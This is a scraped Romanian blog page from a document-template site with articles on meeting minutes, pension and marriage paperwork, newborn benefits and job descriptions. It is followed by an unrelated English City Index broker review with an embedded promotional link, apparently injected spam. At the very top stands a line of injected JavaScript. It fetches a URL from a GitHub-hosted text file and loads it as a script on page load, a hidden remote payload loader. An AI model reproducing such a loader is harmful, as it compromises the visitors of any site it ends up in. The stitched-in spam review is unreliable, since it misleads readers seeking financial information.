;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Blog - Page 129 of 131 - Descarc.ro
  • 0722 - 39 69 59
  • info@descarc.ro

Cea mai bună structură a unei întâlniri

Cea mai bună structură a unei întâlniri


Cea mai bună structură a unei întâlniri:

Pe parcursul carierei, precum și în alte momente ale vieții, s-ar putea să vi se ceară să organizați o întâlnire. Ți se poate cere chiar să asumi un rol oficial de secretar al unui grup sau organizație, fie că este voluntar sau ca poziție plătită. În această calitate, este esențial să știți ce trebuie făcut și să puteți lua note clare și precise, deoarece acest rol este în primul rând de a crea o înregistrare oficială a întâlnirii.

Pregătire: Înainte de Ședință

Există o serie de lucruri pe care secretarul trebuie să le știe înainte de o întâlnire, dintre care majoritatea pot fi aflate cu ușurință întrebând persoana care urmează să prezideze ședința.

Cele mai importante sunt: Cine este de așteptat să facă aranjamentele pentru întâlnire, inclusiv să găsească un loc și să organizeze băuturi răcoritoare adecvate și orice facilități audio / video? Acesta este adesea secretarul.

Cine este responsabil de pregătirea agendei? Fiecare scaun va avea propria sa preferință, dar aceasta este, de obicei, o responsabilitate de secretariat, lucrând cu scaunul. Pot exista și alte persoane care au dreptul de a adăuga puncte pe ordinea de zi. Șeful ședinței are un rol în a se asigura că agenda nu este supraîncărcată, ceea ce poate include discutarea cu președintele și alții despre ceea ce ar putea fi amânat pentru o întâlnire ulterioară și ce ar putea fi acoperit într-un raport scris.

Ce tip de note sau minute sunt necesare? Trebuie să fie procese verbale oficiale care să stabilească cine a spus ce, sau note scurte care să înregistreze acțiunile convenite? Cât de repede trebuie să fie elaborate și distribuite notele sau procesele-verbale după întâlnire? Care este procesul de ștergere a notelor pentru publicare?

Unora dintre scaune le place să aprobe minute înainte de a fi trimise mai departe, în timp ce altele preferă ca acestea să fie distribuite mai multor participanți cheie în același timp. Dacă sunteți nou în rolul dvs. de secretar, merită, de asemenea, să aflați cine este așteptat să participe, organizațiile pe care le reprezintă și câteva dintre problemele care au fost ridicate la întâlnirile anterioare. Acest lucru vă va ajuta să înțelegeți ce se întâmplă. Puteți face acest lucru analizând procesele-verbale anterioare ale ședințelor și întrebând, de asemenea, președintele despre ce este probabil să se discute. Este imperativ să trimiteți notițele întâlnii. Aceasta va include, dar nu se limitează la, ordinea de zi, procesul-verbal al ultimei întâlniri și orice documente pentru discuții sau informații.

În ziua întâlnirii, sunt câteva lucruri care trebuie făcute:

Asigurați-vă că știți cine este așteptat să participe la întâlnire. Dacă clădirea are agenți de securitate, poate fi necesar să furnizați o listă cu participanții. Ajungeți devreme la locație și verificați dacă totul este în regulă. Dacă sunteți responsabil pentru aranjamentele întâlnirii, asigurați-vă că totul este acolo, sala este amenajată corect, orice echipament audio / video funcționează, există suficiente scaune și au sosit băuturi răcoritoare. Poate doriți să vă gândiți cine stă unde și chiar să ne marcați un plan de locuri, deoarece acest lucru face o diferență enormă în modul în care se desfășoară întâlnirea. Ar trebui să vă asigurați că scaunul este așezat central și că sunteți așezat lângă el. Asigurați-vă că aveți o mulțime de copii de rezervă ale documentelor pentru cei care nu au adus o copie. Dacă există o mulțime de lucrări, ar putea fi potrivit să le aranjați într-un dosar folosind numere de pagină/secțiuni, astfel încât participanții să poată găsi cu ușurință lucrări legate de discuția curentă. Dacă utilizați insigne cu numele, așezați-le în ordine alfabetică pe o masă de lângă ușă, de unde participanții le pot ridica pe măsură ce sosesc.

Scrierea efectivă a procesului-verbal al unei ședințe

Procesul-verbal va trebui să includă o listă completă a celor prezenți și a tuturor celor care și-au trimis scuze. Pentru a evita să mâzgăliți frenetic în timp ce oamenii se prezintă în jurul mesei, distribuiți o foaie de înscriere prin care le cere oamenilor să-și dea numele, organizațiile și datele de contact. Notați orice scuze pentru absență oferite în timpul prezentărilor: oamenii se prezintă adesea ca „înlocuitorii lui și, apropo, el/ea își trimite scuzele”.

Important:

Modul în care iei notițe în cadrul ședinței depinde de cât de formale trebuie să fie procesul-verbal. Dacă raportați doar un scurt rezumat al discuției, plus orice puncte de acțiune, atunci vă puteți permite să ascultați discuția și apoi să o rezumați sub formă de note. Dacă, totuși, se așteaptă să notați punctele principale făcute de vorbitori individuali, atunci va trebui să faceți un set mai complet de note, inclusiv numele sau inițialele vorbitorilor. Este o chestiune de alegere dacă folosiți un laptop sau un pix și hârtie pentru a nota, deși este bine să verificați în prealabil preferința participanților, mai ales într-un rol plătit.

Dosarul de pensionare

Pensia pentru limita de varsta

Pensia pentru limita de varsta se cuvine persoanelor care indeplinesc, cumulativ, la data pensionarii, conditiile privind varsta standard de pensionare si stagiul minim de cotizare prevazute de lege.

Varsta standard de pensionare, stagiul complet de cotizare si stagiul minim de cotizare pentru femei si barbati sunt  stabilite in raport de luna si anul nasterii (Anexa nr. 5 la Legea nr. 263/2010, privind sistemul unitar de pensii publice, cu modificarile si completarile ulterioare).

Pensia anticipata – fara penalizarea cuantumului drepturilor de pensie

Persoanele care au realizat un stagiu de cotizare cu cel putin 8 ani mai mare decat stagiul complet de cotizare prevazut de lege, pot solicita pensia anticipata cu cel mult 5 ani inaintea implinirii varstei standard de pensionare.

Varsta standard de pensionare, stagiul complet de cotizare pentru femei si barbati sunt stabilite in raport de luna si anul nasterii (Anexa nr. 5 la Legea nr. 263/2010, privind sistemul unitar de pensii publice, cu modificarile si completarile ulterioare).

Cuantumul pensiei anticipate se stabileste in aceleasi conditii in care se stabileste cel al pensiei pentru limita de varsta.

Reducerea varstei standard de pensionare prevazuta la aceasta categorie de pensie  nu se cumuleaza cu nicio alta reducere reglementata de legea cadru sau de alte acte normative cu caracter special.

La stabilirea stagiului de cotizare pentru acordarea pensiei anticipate nu se iau in considerare perioadele asimilate stagiului de cotizare in care asiguratul:

a.  a beneficiat de pensie de invaliditate;

b. a urmat cursurile de zi ale invatamantului universitar, organizat potrivit legii, pe durata normala a studiilor respective, cu conditia absolvirii acestora cu diploma;

c.  a satisfacut serviciul militar ca militar in termen sau militar cu termen redus, pe durata legal stabilita, a fost concentrat, mobilizat sau in prizonierat.

Perioadele suplimentare acordate pentru activitatea desfasurata in grupele I si a II-a de munca, respectiv in conditii deosebite, conditii speciale si alte conditii de munca se au in vedere la stabilirea stagiului de cotizare realizat.

Pensia anticipata partiala – cu penalizarea cuantumului drepturilor de pensie

Pensia anticipata partiala se acorda cu cel mult 5 ani inainte de implinirea varstei standard de pensionare, persoanelor asigurate care au realizat stagiile complete de cotizare prevazute de lege, precum si celor care au depasit stagiul complet de cotizare cu pana la 8 ani.

Varsta standard de pensionare, stagiul complet de cotizare si stagiul minim de cotizare pentru femei si barbati sunt  stabilite in raport de luna si anul nasterii (Anexa nr. 5  la Legea nr. 263/2010, privind sistemul unitar de pensii publice, cu modificarile si completarile ulterioare).

Reducerea varstei standard de pensionare prevazuta la aceasta categorie de pensie nu se cumuleaza cu nicio alta reducere reglementata de legea cadru sau de alte acte normative cu caracter special.

La stabilirea stagiului de cotizare pentru acordarea pensiei anticipate partiale nu se iau in considerare perioadele asimilate stagiului de cotizare in care asiguratul:

a.  a beneficiat de pensie de invaliditate;

b. a urmat cursurile de zi ale invatamantului universitar, organizat potrivit legii, pe durata normala a studiilor respective, cu conditia absolvirii acestora cu diploma;

c.  a satisfacut serviciul militar ca militar in termen sau militar cu termen redus, pe durata legal stabilita, a fost concentrat, mobilizat sau in prizonierat.

Perioadele suplimentare acordate pentru activitatea desfasurata in grupele I si a II-a de munca, respectiv in conditii deosebite, conditii speciale si alte conditii de munca se au in vedere la stabilirea stagiului de cotizare realizat.​

Pensia de urmas

In situatia decesului asiguratului sau pensionarului, copiii si sotul supravietuitor  au dreptul la pensie de urmas, in urmatoarele conditii:

Copiii:

• pana la varsta de 16 ani;

• daca isi continua studiile intr-o forma de invatamant organizata potrivit legii, pana la terminarea acestora, fara a depasi varsta de 26 de ani;

• pe toata durata invaliditatii de orice grad, daca aceasta s-a ivit in perioada in care se aflau in una dintre situatiile prevazute mai sus.

Sotul supravietuitor:

• la implinirea varstei-standard de pensionare, daca durata casatoriei a fost de cel putin 15 ani. Daca durata casatoriei a fost mai mica de 15 ani, dar de cel putin 10 ani, cuantumul pensiei de urmas cuvenit se diminueaza cu 0,5% pentru fiecare luna, respectiv 6% pentru fiecare an de casatorie in minus;

• indiferent de varsta, pe perioada in care este invalid de gradul I sau II, daca durata casatoriei a fost de cel putin 1 an;

• indiferent de varsta si de durata casatoriei, daca decesul sotului sustinator s-a produs ca urmare a unui accident de munca sau a unei boli profesionale si daca nu realizeaza venituri lunare din activitati dependente:

a. in baza unui contract individual de munca;

b. in baza unui raport de serviciu;

c. din activitati in functii elective sau care sunt numite in cadrul autoritatii executive, legislative ori judecatoresti, pe durata mandatului, precum si ca membri cooperatori intr-o organizatie a cooperatiei mestesugaresti.

• care nu indeplineste conditiile de mai sus, beneficiaza de pensie de urmas pe o perioada de 6 luni de la data decesului daca in aceasta perioada nu realizeaza venituri lunare din activitati dependente:

a. in baza unui contract individual de munca;

b. in baza unui raport de serviciu;

c. din activitati in functii elective sau care sunt numite in cadrul autoritatii executive, legislative ori judecatoresti, pe durata mandatului, precum si ca membri cooperatori intr-o organizatie a cooperatiei mestesugaresti

• care are in ingrijire la data decesului sustinatorului unul sau mai multi copii in varsta de pana la 7 ani, beneficiaza de pensie de urmas pana la data implinirii de catre ultimul copil a varstei de 7 ani, in perioadele in care nu realizeaza venituri lunare din activitati independente:

a. in baza unui contract individual de munca;

b. in baza unui raport de serviciu;

c. din activitati in functii elective sau care sunt numite in cadrul autoritatii executive, legislative ori judecatoresti, pe durata mandatului, precum si ca membri cooperatori intr-o organizatie a cooperatiei mestesugaresti

Copiii si sotul supravietuitor care au dreptul la o pensie proprie si indeplinesc conditiile prevazute de lege pentru obtinerea pensiei de urmas dupa sustinatorul decedat pot opta pentru cea mai avantajoasa pensie.

Alte drepturi

In sistemul public de pensii, in afara pensiilor, se mai pot acorda, in conditiile legii, urmatoarele prestatii:

a) tratament balnear, altul decat cel care, potrivit legii, se suporta de la bugetul fondului national unic de asigurari sociale de sanatate, pentru asigurati si pensionari;

b) bilete de odihna, pentru asigurati;

c) ajutor de deces, in cazul decesului asiguratului, pensionarului sau unui membru al familiei unuia dintre acestia.

Casa Nationala de Pensii Publice acorda si o serie de indemnizatii cu caracter reparatoriu, stabilite prin legi speciale.

Acte necesare pentru dosarul de pensionare:

1. Fisa de pensie (formular tip);

2. Proces-verbal al comisiei de pensii din institutie;

3. Fisa de calcul al vechimii in munca;

4. Baza de calcul (5 ani din ultimii 10 ani, formular tip);

5. Copie xerox dupa decizii, dispozitiile de indexare a salariilor din perioada cuprinsa in baza de calcul;

6. Adeverinta eliberata de unitatea care inainteaza dosarul din care rezulta ca unitatea a achitat obligatiile privind bugetul asigurarilor sociale pentru persoana respectiva.

Acte necesare înregistrarea căsătoriei

Acte necesare înregistrarea căsătoriei:

Căsătoria se încheie de către Ofițerul de stare civila, la sediul autorității administrației publice locale in a cărei raza administrativ-teritoriala își are domiciliul (reședința) unul dintre viitorii soți. Pentru încheierea căsătoriei, viitorii soți trebuie sa prezinte fiecare următoarele acte:

1. Declarația de căsătorie, completata personal de către viitorii soți, in scris, la oficiul de stare civila al locului de domiciliu al unuia dintre ei;

2. Actul de identitate;

3. Certificatul de naștere, in original si copie;

4. Certificatul medical privind starea sănătății, care este valabil 14 zile de la data emiterii;

5. Acte, in original si copii, din care sa rezulte desfacerea căsătoriei anterioare sau decesul soțului/soției, daca este cazul.

Acte necesare nou născut / alocația de stat / indemnizația creștere copil

1. Acte necesare pentru eliberarea CERTIFICAT CONSTATATOR DE NAȘTERE (la maternitate):

– acte identitate părinți;

– certificate naștere părinți;

– certificat căsătorie.

2. Acte necesare CERTIFICAT NASTERE COPIL (in termen de 15 zile):

– certificat constatator de naștere;

– acte identitate părinți;

– certificate naștere părinți;

– certificat căsătorie.

3. Acte necesare pentru TRUSOU NOU-NASCUT:

– certificat naștere nou-născut (original si copie xerox);

– acte identitate părinți (original si copie xerox);

-cerere tip – dublu exemplar (prezenta obligatorie a ambilor părinți).

4. Acte necesare acordării ALOCATIEI DE STAT (0-2 ani)

– cerere tip;

– act de identitate al unuia dintre părinți (copie si original);

– certificat naștere nou-născut (copie si original);

– dosar cu șină.

5. Acte necesare pentru INDEMNIZATIA LUNARA PENTRU CREȘTERE COPIL PANA LA 2 ANI:

– cerere tip;

– act de identitate solicitant;

– certificat naștere copil (original si copie);

– adeverință tip eliberata de angajator ( din care sa rezulte: veniturile salariale timp de 12 luni pana la

nașterea copilului, prima si ultima zi de concediu maternitate, data împlinirii celor 42 zile- concediu de lăuzie, prima zi de concediu de creștere copil);

– dosar cu șină.

Importanța Fișei Postului

Fișa postului este un instrument întocmit de compania care recrutează. În aceasta trebuie să se regăsească atribuțiile și drepturile ce îi revin unui angajat la viitorul loc de muncă. Și nu doar asta, ci și modul de îndeplinire a acestora atât timp cât este angajat pe o anumită poziție. Fișa postului trebuie, de asemenea, să conțină cerințele jobului, dar și sarcinile pe care angajatul le va îndeplini.

Deși este o anexă a contractului individual de muncă, fișa postului este la fel de importantă. Iar elementele pe care trebuie să le cuprindă sunt: cerințele necesare pentru ocuparea rolului, condițiile de muncă, responsabilitatea propriu-zisă a angajatului și standardele de performanță.

În Codul Muncii există mai multe articole care fac referire la fișa postului. Ele se referă atât la obligațiile și responsabilitățile viitorului angajat, cât și la ale angajatorului. Câteva dintre elementele care se regăsesc în Codul Muncii:

  • Angajatul este obligat să realizeze norma de muncă și să-și îndeplinească atribuțiile ce îi revin conform fișei postului.
  • La rândul lui, angajatorul are obligația de a informa angajații despre condițiile de muncă. Dar și de a asigura permanent condițiile tehnice și organizatorice avute în vedere la elaborarea normelor de muncă.
  • Angajatorii care nu respectă cerințele din fișa postului pot fi amendați de către inspectoratul teritorial de muncă.

Fișa postului stă la baza mai multor procese de resurse umane. Printre acestea se numără recrutarea și selecția, angajarea, formarea profesională, dar și dezvoltarea viitorilor angajați. Fără fișa postului aceste procese nu s-ar derula într-un mod eficient.

De asemenea, aceasta este importantă pentru viitorul angajat care urmează să ocupe poziția scoasă la bătaie. Căci fișa postului este un ghid în care angajatului i se oferă o descriere detaliată a postului în termeni de responsabilități pe care trebuie să și le asume la nivelul organizației.

Având în față fișa postului, angajatul va cunoaște încă din prima zi tot ce presupune poziția sa în companie. Își va cunoaște responsabilitățile, sarcinile, mediul și programul de lucru.

Pentru angajator, aceasta mai poate reprezenta baza de plecare în evaluarea corectă a performanțelor și asigură totodată condițiile de promovare și formare profesională a viitorului angajat.

Fișa postului trebuie să conțină anumite elemente obligatorii. Printre acestea se numără:

  • denumirea oficială a postului
  • locul pe care îl va ocupa viitorul angajat în organigramă
  • cerințele necesare ocupării postului
  • definirea responsabilităților
  • indicatorii de performanță
  • data la care a fost întocmită și semnată atât de angajat, cât și de angajator.

După ce angajatul a acceptat noul său rol, va semna contactul împreună cu fișa postului. Unul dintre exemplare rămâne în departamentul de resurse umane, iar cel de-al doilea îi revine angajatului.

Aici găsiți modele de Fișe ale Postului. În cazul în care doriți personalizarea lui, #echipadescarc este la dispoziția d-voastra la 0722 – 39 69 59 sau personalizare@descarc.ro.

City Index Review 2025: Pros & Cons

It’s essential to be prudent and methodical in your City Index broker selection to protect your hard-earned money. Performing your due diligence and researching the credibility of City Index, its track record, and reputation is vital. Moreover, ensure the City Index broker’s offerings, trading tools, fees, and regulation align with your requirements. If you’re a new entrant in the world of online trading and brokers, so many nuances will no doubt be perplexing for you. Getting into the area of online trading demands expert assessing skills and comprehensive knowledge. You will acquire adept at all of the concepts of online trading and brokers while you keep trading.

How long do City Index withdrawals take?

Under the new ownership, City Index UK’s legal entity was renamed StoneX Financial Ltd, though the City Index brand continued to operate specifically for retail customers. In 2022, City Index underwent a rebranding and updating its trading platforms to include Advantage Web Trader, TradingView, and MetaTrader 4. Initially focusing on spread betting, City Index expanded its services from the early 2000s, acquiring several other brokerage businesses and establishing international offices in Asia and Australia.

What is the minimum deposit required to start trading?

They have a huge selection of markets for you to trade on leading trading platforms for all of your devices. You get free access to some premium trading tools and generous educational content which can help you make the most of your trading strategies. The brokers overall trading fees are very cheap when compared to others who provide a similar service.

Every trade involves risk, so approach your trading with care and never invest more than you can afford to lose. Moreover, City Index supports transactions in several major fiat currencies, including EUR, USD, and GBP. This currency versatility is advantageous for traders globally, allowing them to deposit and withdraw funds in the currency that best suits their financial situation.

The series aimed to educate participants and viewers on trading strategies and market dynamics. The program was broadcast on City Index’s official website and distributed via YouTube. The first season concluded with trainee London black-cab driver John Walsh declared winner after achieving a return on investment of 23.6%. Following the acquisition by StoneX Group, City Index became part of StoneX’s global retail brokerage division.

Combined with competitive spreads and a price improvement guarantee, this feature enhances trading value and benefits both beginners and professional traders. MetaTrader 4 (MT4) supports automated trading via Expert Advisors (EAs). Additionally, traders can leverage FX Blue tools and MetaTrader Market downloads, making it suitable for hands-free strategies and advanced algorithmic trading.

Is there a minimum deposit to open an account?

This contrasts significantly with what we found in our IC Markets Review which averages 1.03 pips or $9.63 per lot. CFDs are complex instruments and come with a high risk of losing money rapidly due to leverage. 68% of retail investor accounts lose money when trading CFDs with this provider.

City Index often runs seasonal promotions tied to specific events or time-limited offers. These promotions can include anything from enhanced deposit bonuses to exclusive discounts on trading fees or spreads. For instance, there may be special offers during the holidays or major financial events such as earnings seasons or market milestones. City Index occasionally runs Deposit Bonuses that reward traders who make a deposit into their trading accounts. These bonuses typically provide a percentage-based boost to your deposit, giving you extra funds to trade with. For example, you might receive a 50% bonus on your deposit, allowing you to trade with additional leverage.

Subscribe to Dumb Little Man newsletter

This flexibility in accessing support services highlights City Index’s dedication to offering a seamless and responsive customer service experience. The availability of different contact methods ensures that traders can find assistance with minimal delay, enhancing the overall trading experience with City Index. These accounts highlight concerns over financial transparency and operational efficiency, particularly in handling withdrawals and explaining charges The safety and security of City Index are paramount, with the broker regulated by the prestigious British Financial Conduct Authority (FCA). This information, meticulously researched by Dumb Little Man, highlights the broker’s adherence to stringent regulatory standards. The FCA imposes rigorous requirements on brokers to ensure the protection of traders and the integrity of financial markets.

In May 2006, Davidson was cleared of all charges; however, by then he had declared bankruptcy with debts of approximately £20 million. City Index faced significant reputational scrutiny but was not formally penalized by the regulator. In 2008, City Index acquired US-based FX Solutions, the New Jersey-based FX broker. In October 2009, it launched the City Trading app, the first spread betting and CFD mobile platform for the iPhone, later expanding to Android and BlackBerry. All information on The Forex Geek website is for educational purposes only and is not intended to provide financial advice.

City Index provides three robust trading platforms—Web Trader, TradingView, and MT4—designed to suit traders of all experience levels. Each platform delivers advanced analytics, automation, and intuitive tools, ensuring users can execute strategies efficiently https://traderoom.info/city-index-forex-broker/ and access real-time market insights tailored to their trading style. With City Index, you will find that the account opening process is very simple, and the broker has excellent Forex education and research tools.

Trade Execution

City Index, formed in 1983, is a reputable trading platform that provides access to over 13,500 global marketplaces. It is regulated by top-tier regulators such as the FCA, ASIC, and CySEC, and provides exceptional security through segregated client money and FSCS coverage. Trade 20+ commodity markets, gain experience to geopolitical events, and enjoy competitive spreads starting from just 0.06 pts. Capitalize on global market volatility by trading top commodities like crude oil, gold, and natural gas through spread bets or CFDs. Traders can trade daily, monthly, and quarterly options with tight spreads across 40+ markets, including FX, indices, and commodities.

  • With 24/5 availability, live chat, phone, email, and detailed FAQs, clients can rely on quick, clear guidance for account management, platform troubleshooting, and trading assistance.
  • City Index offers a stable, transparent trading environment backed by nearly a century of institutional knowledge through 🇺🇸 StoneX.
  • Both accounts have no commissions with spreads from 0.5 pips, the only difference is the trading platform you use.
  • City Index provides versatile account options for traders of all levels.

A professionally lead investment partner could aid you in minimising any losses and maximising any returns. It is important to understand about any broker before you trust them with your money. City Index is a trading platform that has been operating for 38 years, has a global presence supported by its listed parent company, and is overseen by top financial regulatory bodies. It is considered a safe and reliable option for traders and investors. New clients get a welcome letter with key account information and an introduction to platforms to help you pick the best platform for your needs.

  • City Index is a forex broker with its head office in UK and provides a variety of instruments for trading.
  • With over 16 chart types, real-time news from Reuters, and 80+ technical indicators, the City Index trading platforms can be customized to suit individual traders’ needs.
  • These features, combined with the award-winning PlayMaker tool and comprehensive mobile app, position City Index favorably for traders seeking a robust trading environment.
  • Some regional representation in China (e.g., Shanghai) exists but is not typically counted as a primary country‑level support hub.

Spread betting is similar to CFD trading in that it is a form of margin trading and most of the same instruments are available with the same leverage. When deciding on a broker, you can save on costs by choosing a broker with tight spreads. For this exercise, we used 6 major currency pairs and then averaged the spread result. By doing this we hoped to nullify variations in better and worse-performing pairs by each broker.

Blain’s insights have been featured in the New York Times, Wall Street Journal, Forbes, and the Chicago Tribune, among other media outlets. It should not be assumed that the methods, techniques, or indicators presented in these products will be profitable, or that they will not result in losses. City Index offers a rich educational experience that will satisfy both beginner and intermediate traders. Its YouTube channel has a robust archive of educational videos, but City Index offers fewer written articles than leaders in this category. You should consider whether you understand how CFDs work and whether you can afford to take the high risk of losing your money. Customer support hits all the bases, with 24/5 phone support through London local and international phone numbers.

City Index’s Referral Program allows existing customers to refer friends, family, or colleagues to the platform and earn rewards. If you refer someone who opens and funds a trading account with City Index, both you and your referral may be eligible for a referral bonus. This is an excellent way to earn extra trading funds while introducing others to the City Index platform. City Index provides access to over 40 global indices, which makes it easy to trade the performance of entire economies or regions. Web Trader is accessible via web, desktop, and mobile, offering flexibility for traders to manage their portfolios wherever they are.

City Index prioritizes the safety and security of its clients’ funds and personal information. It is regulated by several top-tier financial authorities, including the UK’s Financial Conduct Authority (FCA). Additionally, City Index uses segregated accounts to keep client funds separate from its own, enhancing financial security.

Reducere de 30% la prima descărcare?

X
0
    0
    Coș
    Coșul este golMagazin